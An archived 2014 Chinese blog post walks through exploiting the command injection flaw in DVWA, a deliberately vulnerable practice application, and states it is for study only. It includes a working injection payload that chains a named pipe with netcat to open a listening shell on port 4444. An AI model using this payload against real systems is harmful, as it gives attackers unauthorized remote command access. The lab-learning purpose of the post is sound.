【2014-04-27】DVWA的命令注入漏洞

[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-04-27 标题DVWA的命令注入漏洞分类操作系统 / 安全 标签DVWA·netcat·命令注入DVWA的命令注入漏洞检测漏洞命令注入笔记仅供学习交流使用请勿进行其他用途检测漏洞首先输入正常的命令然后试下其他的命令看下是不是有问题命令注入发现可注入后就可以尝试使用nc命令了;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 /tmp/pipe然后我们启动terminal发现已经连接上了。